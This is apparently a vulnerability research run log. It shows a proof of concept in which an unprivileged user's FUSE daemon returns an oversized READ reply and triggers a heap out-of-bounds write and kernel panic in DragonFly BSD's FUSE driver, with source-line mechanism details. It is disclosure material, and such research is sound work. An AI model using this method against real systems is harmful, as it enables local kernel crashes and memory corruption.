DF-0780 — decisive run log (UNPATCHED baseline #0 + stock fuse.ko)
==================================================================
Run: ./dfbsd-qemu/vm.sh run_root 'cd /home/maxx/poc/DF-0780 && sh run.sh'

daemon pid=870
/dev/fuse on /mnt/fuse (fuse, local)
=== triggering read as maxx ===
=== (ssh dies here — guest panicked) ===

daemon.log (captured before panic; stderr is line-buffered):
[main] opened /dev/fuse fd=3
[daemon] serving on fd 3
[daemon] INIT major=7 minor=28 -> reply
[main] mounted fuse on /mnt/fuse (daemon pid 873)
[main] now run: cat /mnt/fuse/target   (triggers overflow)
[daemon] READ node=2 off=0 reqsize=8192  REPLYING 131072 bytes (OVERFLOW 122880 past reqsize buf)

Guest status after run: DOWN (vm.sh status => down).
Serial boot.log panic signature (full text in panic.txt):
  panic: assertion "obj != NULL" failed in vm_object_hold_shared ... vm_object.c:330
  --- trap 000000000000000c ... ---
  memcpy() at memcpy+0xfa 0xffffffff80bcac8a
  Stopped at Debugger+0x7c   (DDB)

Mechanism:
  * maxx: cat /mnt/fuse/target
  * kernel: bread_kvabio/cluster_readx -> fuse_vop_strategy -> fuse_io_execute
            (sys/vfs/fuse/fuse_vnops.c:2031)  BUF_CMD_READ
  * kernel sends FUSE_READ with fri->size = bp->b_bcount = 8192
            (fuse_vnops.c:2048)
  * daemon replies with ohd + 131072 bytes
  * fuse_device_write (fuse_device.c:165): fuse_buf_alloc(131088), stores the
            full oversized reply in fip->reply; fuse_audit_length() detects
            len(131072) > size(8192) and sets a LOCAL error=EPROTO returned
            ONLY to the daemon's write() (fuse_device.c:212-214); the IPC is
            still completed + the waiter woken (fuse_device.c:219-220).
  * fuse_ipc_tx (fuse_ipc.c:247): ohd->error==0 -> returns 0 (success).
  * fuse_io_execute (fuse_vnops.c:2053-2055): error==0 ->
            memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip))
            with fuse_out_data_size == 131056 into an 8192-byte bp->b_data
            => HEAP OOB WRITE (~122968 bytes past the buffer) => page fault
            inside memcpy => panic.

Reproduced 3/3 times from a fresh vm.sh reset with-src.